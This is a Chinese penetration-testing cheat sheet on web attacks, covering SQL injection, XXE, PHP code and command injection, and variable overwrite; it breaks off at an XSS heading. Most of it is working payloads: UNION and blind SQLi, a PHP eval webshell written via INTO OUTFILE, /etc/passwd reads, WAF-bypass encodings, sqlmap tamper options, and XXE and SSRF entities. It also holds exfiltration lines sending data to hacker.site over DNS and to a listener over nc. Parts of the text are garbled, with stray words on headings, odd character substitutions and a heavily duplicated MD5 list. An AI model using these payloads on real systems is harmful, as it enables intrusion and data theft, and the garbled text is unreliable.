【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)

三、Web安全基础

3.一、HTTP协议

1)TCP/IP协议-HTTPjavascript

  • 应用层:HTTP、FTP、TELNET、DNS、POP3
  • 传输层:TCP、UDP
  • 网络层:IP、ICMP、ARP

2)经常使用方法-Methodphp

  • GET:向特定的资源发出请求
  • POST:向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会致使新的资源的创建和/或已有资源的修改。
  • HEAD:向服务器索与GET请求相一致的响应,只不过响应体将不会被返回。这一方法能够在没必要传输整个响应内容的状况下,就能够获取包含在响应小消息头中的元信息。
  • PUT:向指定资源位置上传其最新内容。
  • DELETE:请求服务器删除Request-URL所标识的资源。
  • OPTIONS:返回服务器针对特定资源所支持的HTTP请求方法,也能够利用向web服务器发送‘*’的请求来测试服务器的功能性。
  • TRACE:回显服务器收到的请求,主要用于测试或诊断。

2) HTTP-常见的响应状态码*css

  • 1xx:指示信息—表示请求已接收,继续处理。
  • 2xx:成功—表示请求已经被成功接收、理解、接受。
  • 3xx:重定向—要完成请求必须进行更进一步的操做。
  • 4xx:客户端错误—请求有语法错误或请求没法实现。
  • 5xx:服务器端错误—服务器未能实现合法的请求。

3.二、SQL注入

SQL注入是直接面对数据库进行攻击的。主要有如下几种危害:html

1.权限较大状况下,能够经过SQL注入直接写入webshell或者直接执行系统命令。html5

2.权限较小状况下,可经过注入得到管理员权限、拖库等等java

易发问题点python

SQL注入常常出如今登录页面、获取HTTP头(user-agent/client-ip等)、订单处理等地方。登录页面主要发生在HTTP头中的client-ip和x-forward-for,这些通常用来记录登录的ip。mysql

注入类型linux

  • 回显注入git

  • 报错注入

  • Boolean盲注

  • Timing盲注

MySQL内置函数

version()                版本
database()               数据名
user() 
current_user()           当前登陆用户
@@datadir                数据库路径
@@basedir                mysql安装路径
@@version_compile_os     操做系统
concat_ws()              将多个字符串链接成一个字符串

SQL注入常见后台拼接语句

1.$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;(需闭合’)
2.$sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”;
3.$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1”;(需闭合’))
4.$id = ‘”’ . $id . ‘”’;
  $sql=”SELECT * FROM users WHERE id=($id) LIMIT 0,1”;
  即$sql=”SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1”;(需闭合”),此时你输入’不会报错)
5.$sql=”SELECT * FROM users WHERE id=((‘$id’)) LIMIT 0,1”;(少见)

MySQL5注入枚举数据库步骤

# 获取数据库
select * from users where id='1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)--+

# 获取表名

select * from users where id='1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='数据库名字'(最经常使用的是十六进制表示的数据库,’容易被过滤) limit 3,1--+


# 获取列名

select * from users where id='1' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=0x十六进制数据库 and table_name=0x十六进制表 limit 0,1--+

# 获取内容

select * from users where id='1' and 1=2 union select 1,2,concat_ws(char(32,58,32),username,password)(concat_ws用法:分割符,列名) from users(表名) limit 0,1--+

ascii码中32是空格,58是:

注入剖析

  • 回显注入

有回显,能够看到某些字段的回显结果(一般)

猜解出字段数目

最方便的注入方式就是使用Union语句填充查询结果,额外执行一次查询

select * from news where id = 1 union select 1,2,3,4;
  • 报错注入

无正常回显时报错注入。

# floor() 语句:

and (select 1 from (select count(*),concat(char(0x7E),(select user()),char(0x7E),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

# updatexml() 语句:

and (updatexml(1,concat(0x3a,(select user())),1));

# ExtractValue() 和upadtexml()用法差很少语句:

and extractvalue(1, concat(0x5c, (select user())));
  • Boolean盲注

在没有数据回显的状况下,能够存在不一样的页面内容回显

一般逐个爆破猜解,效率偏低

思路:利用回显的不一样推测SQL语句执行的结果是True仍是False

# SQLi-Labs Less 11 Payload:

admin' and password>'adm123'


# HTTP REQUEST

POST /Less-11/ HTTP/1.1
Host: localhost
Content-Length: 67
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/Less-11/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

uname=admin' and password>'adm§123§'#&passwd=asd&submit=Submit


# 实际执行

SELECT username, password FROM users WHERE username='admin' and password>'ad8'#' and password='asd' LIMIT 0,1
  • Timing盲注

页面不存在不一样回显,但SQL语句被执行

逐个爆破猜解+时间延迟,效率最低

利用:if (query=True) delay(1000);else pass;的程序逻辑,经过观察是否发生了时间延迟来推测SQL语句的执行状况是否为True

payload:

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行sleep

截取字符串相关函数:

length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的同样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,不然返回c,如if(1>2,1,0),返回0
left(database(),1) 取database字符串的左边第一个没法报错注入,尝试盲注

SQL注入示例

  • SQLi-Labs Less1 测试Payload
# 测试Pyaload

' and 1=1
‘ and 1=2
') and 1=1
'--+
"--+
'/**/and/**/1=1%23


# 读取数据库
http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,schema_name from information_schema.schemata limit 0,1 %23


+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+


# 读取数据库表名

http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1 %23

+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+

# 获取列名

http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+

+----+----------+----------+
| id | username | password |
+----+----------+----------+


# 获取内容

http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,concat_ws(char(32,58,32),username,password) from users limit 0,1--+


# 报错注入

http://localhost//Less-1/index.php?id=1' and (updatexml(1,concat(0x7e,(select user())),1)) %23

http://localhost//Less-1/index.php?id=1' and (updatexml(1,concat(0x7e,(select username from users limit 2,1)),1)) %23

文件读写

读取敏感文件,权限较大时,能够直接写shell

  • 函数说明
@@basedir        获取MySQL位置
load_file()    :读取文件
into dumpfile():导出文件
into outfile() :导出文件
  • 测试语句
# 先尝试可否得到路径,不能的话,就尝试经常使用的路径

http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,@@basedir%23 

# 读取密码文件 

http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,load_file(‘/etc/passwd’)%23

# 变换形式 - ascii编码 

- 转换方法

mysql> select conv(hex('D'),16,10);
+----------------------+
| conv(hex('D'),16,10) |
+----------------------+
| 68                   |
+----------------------+
1 row in set (0.00 sec)


- 转换形式 解码

mysql> select char(68,58,92,92,84,69,83,84,46,116,120,116);
+----------------------------------------------+
| char(68,58,92,92,84,69,83,84,46,116,120,116) |
+----------------------------------------------+
| D:\\TEST.txt                                 |
+----------------------------------------------+

- Payload

http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,load_file(char(68,58,92,92,84,69,83,84,46,116,120,116))%23



# 变换形式 - hex编码 

- 转换方法

mysql> select hex("D:\\test.txt");
+------------------------+
| hex("D:\\test.txt")    |
+------------------------+
| 443A5C746573742E747874 |
+------------------------+
1 row in set (0.00 sec)


- 转换形式  解码

mysql> SELECT X'443A5C746573742E747874';
+---------------------------+
| X'443A5C746573742E747874' |
+---------------------------+
| D:\test.txt               |
+---------------------------+
1 row in set (0.00 sec)


- Payload

16进制编码导出文件内容到网页可访问页面,从而获取数据

http://localhost/Less-1/index.php?id=1'/**/and/**/1=2/**/union/**/select/**/1,load_file(0x443A5C746573742E747874)%23
  • 写文件

file_name处要指定绝对路径,不然就会导出到mysql的目录下。同时对需导出的目录有可写权限。

SELECT * INTO OUTFILE 'file_name’

SELECT * INTO DUMPFILE ‘file_name’

获取Webshell的前提是知道网站的绝对物理路径,这样导出后的webshell可访问

select "<?php eval($_POST['z']);?>" into outfile'D:/web/shell.php';

# Tips:

secure-file-priv这个参数限制了outfile、dumpfile的导入导出权限。使用show命令能够看到secure_file_priv的配置。

mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+


- 当Null的时候,表示限制MySQL的导入|导出
- 当为某个根目录的时候,表示限制为只能在指定目录导入|导出
- 当没有具体值得时候,表示不对导入|导出的目录限制

Waf绕过

  • 双写关键字
# 应对

简单的将select、or等关键字替换为空字符串的防护

# payload

seselectlectfrom 、where username='x' OorR1=1
  • 大小写绕过
# 应对

简单的区分大小写的关键字匹配,好比php中preg_match函数没有加/i参数

# payload

SelecT,Or
  • 编码绕过
•ASCII:

例如admin能够用char(97)+char(100)+char(109)+char(105)+char(110)代替

select * from users where username=(char(97)+char(100)+char(109)+char(105)+char(110))
select * from users where username=char(97,100,109,105,110);

•16进制:

mysql> select extractvalue(0x3C613E61646D696E3C2F613E,0x2f61);
+-------------------------------------------------+
| extractvalue(0x3C613E61646D696E3C2F613E,0x2f61) |
+-------------------------------------------------+
| admin                                           |
+-------------------------------------------------+
1 row in set (0.00 sec)

•unicode编码:

单引号——%u0027 、%u02b九、%u02bc、%u02c八、%u203二、%uff07

•URL编码:

or 1=1——%6f%72%20%31%3d%31
  • 变换关键字绕过
Or    <------------>  ||、and  <--------> &&

空格被限制:select(username)from(admin)

科学计数法绕过:where username=1e1union select

mysql> select * FROM users where username=1e1union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+

 =、<、>被限制:where id in (1,2)、where id between 1 and 三、like

access中使用dlookup绕过select from被限制:(user=12',info=dlookup('[user]','userinfo','[id]=1')%00)
  • 特殊字符
空格被限制:/**/、%a0、%0a、%0d、%0九、tab....

内联注释:select 1 from /*!admin*/ /*!union*/ select 2,

mysql> select * FROM users where id = 1 /*!and 1=2*/ /*!union*/ select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

MYSQL对%00不会截断:se%00lect

单一%号,在asp+iis中会被忽略:sel%ect

``mysql反引号之间的会被当作注释内容
  • 二次注入

攻击者将恶意SQL语句插入到数据库中,程序对数据库内容毫无防备,直接带入查询。

对来自于内部的输入输出过于信任。

  • 宽字节

不少程序使用gbk编码的状况下,和unicode编码的组成形式不一样形成这样的漏洞。

当数据库使用了宽字符集(如GBK),会将一些两个字符单作一个字符,如:0xbf2七、0xbf5c

反斜杠是0x5c,使用addslashes()等转义函数在处理输入时会将'、、”这些字符用反斜杠转义,输入0xbf27,转之后变成了0xbf5c27,5c被当作了汉字一部分,单引号0x27逃逸出来。前提条件是前一个ascii码要大于128,才到汉字的范围。

# SQLi-Labs Less32测试语句
http://localhost/Less-32/index.php?id=1%df%27 and 1=2 union select 1,2,3--+

以上语句在MySQL中查询其实已经变成了一个汉字,单引号逃逸了出来。由于’被转义成\’,而前面的%df与转义符号\(%5c)组合成了%df%5c,即運字。从而吃掉了\,致使单引号能够闭合

# 实际查询语句

SELECT * FROM users WHERE id='1運' and 1=2 union select 1,2,3-- ' LIMIT 0,1
  • DNS传输

SQL Server的DNS注入和MySQl稍有不容,但都是利用了SMB协议。其中的.hacker.site是搭建的DNS域名服务器的地址。

http://ceye.io 是提供DNS传输服务的网址。

select load_file(concat('\\',version(),'.hacker.site\a.txt')); 
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));

SQLMAP经常使用参数

  • POST注入
python sqlmap.py -r ~/Desktop/sqlmap.txt --level 3 --risk 3
python sqlmap.py -u "http://localhost//Less-11//index.php" --data="uname=admin&passwd=11" --level 3 --risk 3
  • 读取文件
sqlmap.py -u "http://localhost/vulnerabilities/fu1.php?id=1" --level 5 --risk 3 --file-read /tmp/key
  • temper组合使用
python sqlmap.py -u "http://localhost//Less-11//index.php" --data="uname=admin&passwd=11" --level 3 --risk 3 -v --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py


# 读取库、表、列
sqlmap.py -u "" --dbs --level 5 --risk 3 -v 3 --tamper tamper/radomcase.py,tamper/space2comment.py,tamper/space2mysqldash.py --technique BEST --threads 10

# 读取文件
sqlmap.py -u "" --file-read "" --tamper tamper/radomcase.py,tamper/space2comment.py,tamper/space2mysqldash.py --technique BEST --threads 10
  • space2comment.py:空格转/**/的形式注入。
  • radomcase.py:大小写变换
  • space2mysqldash.py:变换关键字

手动绕过

多个关键字替换

http://localhost//vulnerabilities/fu1.php?id=1%27)/**/anandd/**/1=2/**/uniunionon/**/select/**/1,2,load_file(%27/tmp/360/key%27),4%23

http://localhost//vulnerabilities/fu1.php?id=1%27)/**/anandd/**/1=2/**/uunionnion/**/select/**/1,2,3,4,5,6,7/**/anandd/**/(%27

http://localhost/vulnerabilities/fu1.php?id=1')/**/aandnd/**/1=2/**/uunionnion/**/select/**/1,2,load_file('/etc/passwd'),4,5,6,7/**/anandd/**/('

SQL注入防护

字符串拼接形式:

过滤单引号、双引号、反斜杠等等关键词

转义:addslashes、mysqli_real_escape_string

使用pdo:

在PHP5.3.6及如下版本须要设置setAttribute(PDO::ATTR_EMULATE_PREPARES,false);来禁用preparedstatement仿真效果

3.三、XXE

基础知识

  • XML基础

XML(Extensible Markup Language)被设计用来传输和存储数据。

文档类型定义:DTDwikipedia关于这的描述是:The XML DTD syntax is one of several XML schema languages。DTD的做用是定义XML文档的合法构建模块。实体也是构建模块之一。所以能够利用DTD来内部或外部引入实体。经过引用定义在外部的DTD中的实体,咱们称之为外部实体。

<!DOCTYPE 根元素名 [元素描述]>

内部引用

<!ENTITY 实体名称 "实体的值">

外部引用

<!ENTITY 实体名称 SYSTEM "URI">
  • 函数说明
SimpleXML 函数
simplexml_import_dom  — 从DOM节点获取SimeXMLEngle对象
simplexml_load_file   — 将XML文件解释为对象
simplexml_load_string — 将XML字符串解释为对象

函数演示:

<?php
$dom = new domDocument;
$dom->loadXML('<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file "Hello World!"  >]>
<root>
<info>&file;</info>
</root>');

$xml = simplexml_import_dom($dom);

echo $xml->info;
?>

访问该XML文档,&file;会被解析为Hello World!并输出。

利用方式

利用文件协议读取本地文件,好比file协议。

libxml2 PHP Java .NET
file file http file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher
phar

file协议读取文件示例:

POST /api/v1.0/try HTTP/1.1
Host: web.jarvisoj.com:9882
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Referer: http://web.jarvisoj.com:9882/
Content-Length: 175
Cookie: __cfduid=d5003f0545042bbe0fbc573cda35051f71472823285; UM_distinctid=15abdd622a49f-02e5d4fef34197-7f682331-100200-15abdd622a5cf; role=s%3A5%3A%22guest%22%3B; hsh=3a4727d57463f122833d9e732f94e4e0
Connection: close

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:////home/ctf/flag.txt" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

漏洞代码:

<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);
show_source(__FILE__);
$xmlfile = file_get_contents('php://input'); //接受POST请求
echo '<br>';
if(strlen($xmlfile)>0){

$dom = new DOMDocument();

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure

$creds = simplexml_import_dom($dom); //解析xml
$user = $creds->user;
$pass = $creds->pass;

echo "You have logged in as user $user";
}
?>

若是要读取php文件,由于php、html等文件中有各类括号<,>,若直接用file读取会致使解析错误,此时能够利用php://filter将内容转换为base64后再读取。

php://filter/read=convert.base64encode/rsource=

Payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >
    ]>
<root>
    <user>&file;</user>
    <pass>mypass</pass>
</root>

# 读取passwd文件

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
    ]>
<root>
<user>&xxe;</user>
<pass>mypass</pass>
</root>

其余攻击方式

  • 命令执行

php环境下,xml命令执行要求php装有expect扩展。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls"> # id
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
  • 内网探测/SSRF

因为xml实体注入攻击能够利用http://协议发起http请求。因此能够利用该请求去探查内网进行SSRF攻击。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "http://192.168.1.1:80/">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

xxe漏洞防护

配置XML处理器去使用本地静态的DTD,不容许XML中含有任何本身声明的DTD。经过设置相应的属性值为false,XML外部实体攻击就可以被阻止。可将外部实体、参数实体和内联DTD 都被设置为false,避免基于XXE漏洞的攻击。

3.四、代码注入

应用有时须要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就能够将恶意系统命令拼接到正常命令中,从而形成命令执行攻击。

漏洞触发点

  • 程序过滤不严谨,致使用户能够将代码注入并执行。高危函数:eval()、assert()、preg_replace()、call_user_func()....

  • 文件包含注射,当allow_url_include=On ,PHP Version>=5.2.0 时,致使代码注射。高危函数:include()、include_once()、require()、require_once()

  • 对于执行命令的函数,参数过滤不严谨,致使直接命令执行。高危函数:system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()4.其余:反引号(`)可正常执行命令,实质是调用shell_exec()函数

漏洞代码

  • 命令执行 eval.php

eval和assert函数这两个函数本来做用用于动态执行代码。

<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);");

Payload:

# windows
http://localhost/eval/index.php?hello=);eval($_GET['A']);//&A=system('whoami');
# linux
http://localhost/eval/index.php?hello=11);eval($_GET['c']);//&c=system('cat /etc/passwd');
# 一句话webshell
http://localhost/eval/index.php?hello=11);eval($_POST['c']);%2f%2f
  • 命令执行 preg_replace.php

preg_replace函数用于对字符串进行正则处理,搜索\(subject中匹配\)pattern的部分,以\(replacement替换。当pattern中存在/e模式修饰符,即\)replacement会被当作PHP代码来执行。

函数原型:

mixed preg_replace(mixed $pattern, mixed $replacement,mixed $subject [, int $limit = -1 [,int&$count]] )

漏洞代码:

<?php 
error_reporting(0);
show_source(__FILE__);

preg_replace("/\[(.*)\]/e","\\1",$_GET['str']);

Payload:

正则的意思是从$_GET[‘str’]变量里搜索中括号[]中间的内容做为第一组结果,preg_replace函数第二个参数为‘\1’表明这里用第一组结果填充,这里是能够直接执行代码的。

http://localhost/learn/preg.php?str=[phpinfo()]
  • 文件包含 include.php

文件包含函数在特定条件下的代码注射,如include()、include_once()、require()、require_once()。当allow_url_include=On ,PHP Version>=5.2.0 时,致使代码注射。

<?php 
error_reporting(0);
show_source(__FILE__);
include($_GET['a']);

Payload:

# 本地文件包含

http://localhost/learn/include.php?a=../phpinfo.php


# data:text/plain

http://localhost/learn/include.php?a=data:text/plain,<?php phpinfo();?>

- data:text/plain base64形式

http://202.112.51.130/learn/include.php?a=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg==


# php://伪协议>> 访问各个输入/输出流

http://localhost/learn/include.php?a=php://filter/convert.base64-encode/resource=/etc/passwd

解开base64就获得原文
Tips:当head头有enctype=”multipart/form-data” 时,该伪协议无效。


# php://input形式

当hackbar发不出数据包,就用burpsuite构造数据包,实现一句话webshell效果

POST /learn/include.php?a=php://input HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=4ln93lscu4sqfcn9je3u2660q2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

<?php system('pwd');?>

3.五、命令执行

高危函数:system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()、system()—执行shell命令也就是向dos发送一条指令。

shell_exec()—经过shell环境执行命令,而且将完整的输出以字符串的方式返回。

exec()—执行外部程序

passthru()—执行外部程序而且显示原始输出系统命令。

经过|、&、||起到命令链接的做用,利用输入时的合理构造可使想要执行的命令和本来命令链接执行。

  • System.php
<?php
error_reporting(0);
show_source(__FILE__);

$dir = $_GET["dir"];
if(isset($dir))
{
    echo "<pre>";
    system("net user ".$dir);  //漏洞函数
    echo "</pre>";
}
?>

Payload:

http://localhost/system.php?dir=|whoami
  • backquote.php
<?php 
error_reporting(0);
show_source(__FILE__);

$a=$_GET['a'];
echo `$a`;  //反引号被解析

Payload:

http://localhost/learn/fan.php?a=ls
  • shell_exec.php
<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}
show_source(__FILE__);

Payload:

当过滤了特殊符号,能够用换行符号的方法绕过继续执行命令。换行测试方法 %0a

http://localhost/ping/index.php?ip=127.0.0.1%0Acat index.php

绕过方法

  • 查看文件
一、查看文件内容:
   cat    [file]
   tac    [file]
   more   [file]
   less   [file]
   head   [file]
   tail   [file]
二、改变key.php的文件后缀
    mv 1.php 1.txt
    cp 1.php 1.txt
    tar: tar -cf 打包后的文件名 打包文件名
三、文件处理:
   grep '关键字' [file_path] 
   awk '{print $0}' [file_path]
四、查看命令是否存在:
   which ls
五、下载命令:
   本地机器:Python -m SimpleHTTPServer
   目标机器 curl -o linux.php http://www.linux.com/text.php
           wget -O 保存的文件名.zip http://www.test.net/download.aspx
六、过滤cat,那么尝试经过管道命令利用NC发送文件。
   本机执行:nc -lvv -p 4444
   远程机器执行:nc 172.168.0.27 4444 < ../key.php

3.六、变量覆盖

变量覆盖指的是用自定的参数值来替换程序原有的变量值,变量覆盖漏洞一般须要结合程序其余功能进行利用。大多由函数使用不当致使,主要有如下几个函数:

$$,extract(),parse_str(),import_request_variables()等。

开启了全局变量注册也容易致使变量覆盖。

  • $$ 变量覆盖

使用foreach来遍历数组中的值,而后再将获取到的数组键名做为变量,数组中的键值做为变量的值。所以就产生了变量覆盖漏洞。

漏洞代码:

<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);

include "flag.php";


$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("CTF is here :p...");
if ( !isset($_POST["flag"]) )
    die($_403);
foreach ($_GET as $key => $value)
    $$key = $$value;            // 变量覆盖
foreach ($_POST as $key => $value)
    $$key = $value;             //$$ 
if ( $_POST["flag"] !== $flag )
    die($_403);                 //方法2:出现flag的关键位置
echo "This is your flag : ". $flag . "\n";
die($_200);                     //方法1:出现flag的关键位置
?>

代码分析

题目中两个foreach使用了$$产生变量覆盖问题,知足条件后会将$flag里面的值打印出来。题目有三个if判断语句,当知足第一个if判断语句的条件,可使用覆盖$_200$403的方法打印出$flag变量的值。die($_200)die($_403)是能够将$flag打印出来的地方。

Payload:

  • 方法1:
POST /shell.php?_200=flag HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Length: 6

flag=1
  • 方法2:
POST /shell.php?_403=flag&_POST=1 HTTP/1.1
Host: localhost
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
Content-Length: 6

flag=1
  • extract()

extract() 该函数使用数组键名做为变量名,使用数组键值做为变量值。针对数组中的每一个元素,将在当前符号表中建立对应的一个变量。

题目使用了**extract($_GET)接收了GET请求中的数据,并将键名和键值转换为变量名和变量的值,而后再进行两个if 的条件判断,因此可使用GET提交参数和值,利用extract()**对变量进行覆盖,从而知足各个条件。

<?php
$flag = "xxx";
extract($_GET);
if (isset($gift)) {
   $content = trim(file_get_contents($flag));
   if ($gift == $content) {
       echo "hctf{xx}";
   } else {
       echo "Oh..";
    }
} 
?>

Payload:

http://localhost//shell.php?flag=&gift=
  • parse_str()

若是 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前做用域(若是提供了 result 则会设置到该数组里 )。

void parse_str ( string $encoded_string [, array &$result ] )

encoded_string
输入的字符串。

result
若是设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,做为替代。

漏洞代码

<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
   include (‘flag.php’);
   $a = “www.CTF.com”;
   $id = $_GET['id'];
    @parse_str($id);
    if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
        echo $flag;
    } else {
        exit(‘其实很简单其实并不难!’);
    }
}
?>

分析:

代码首先要求使用GET提交id参数,而后parse_str($id)对id参数的数据进行处理,再使用判断$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)的结果是否为真,为真就返回flag。

md5(‘QNKCDZO’)的结果是0e830400451993494058024219903391若是要知足if判断 if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’))就须要利用php弱语言特性。

Payload:

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每个以”0E”开头的哈希值都解释为0,因此若是两个不一样的密码通过哈希之后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

GET请求id=a[0]=240610708,这样会将a[0]的值覆盖为240610708,而后通过md5后获得0e462097431906509019562988736854与md5(‘QNKCDZO’)的结果0e830400451993494058024219903391比较都是0 因此相等,知足条件。


# MD5加密后,以0e开头的值

QNKCDZO
0e830400451993494058024219903391
  
s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514
  
s1502113478a
0e861580163291561247404381396064
  
s1885207154a
0e509367213418206700842008763514
  
s1836677006a
0e481036490867661113260034900752
  
s155964671a
0e342768416822451524974117254469
  
s1184209335a
0e072485820392773389523109082030
  
s1665632922a
0e731198061491163073197128363787
  
s1502113478a
0e861580163291561247404381396064
  
s1836677006a
0e481036490867661113260034900752
  
s1091221200a
0e940624217856561557816327384675
  
s155964671a
0e342768416822451524974117254469
  
s1502113478a
0e861580163291561247404381396064
  
s155964671a
0e342768416822451524974117254469
  
s1665632922a
0e731198061491163073197128363787
  
s155964671a
0e342768416822451524974117254469
  
s1091221200a
0e940624217856561557816327384675
  
s1836677006a
0e481036490867661113260034900752
  
s1885207154a
0e509367213418206700842008763514
  
s532378020a
0e220463095855511507588041205815
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s214587387a
0e848240448830537924465865611904
  
s1502113478a
0e861580163291561247404381396064
  
s1091221200a
0e940624217856561557816327384675
  
s1665632922a
0e731198061491163073197128363787
  
s1885207154a
0e509367213418206700842008763514
  
s1836677006a
0e481036490867661113260034900752
  
s1665632922a
0e731198061491163073197128363787
  
s878926199a
0e545993274517709034328855841020

3.七、XSS漏洞挖掘与利用

一、漏洞危害

  • 获取管理员Cookie,登陆后台
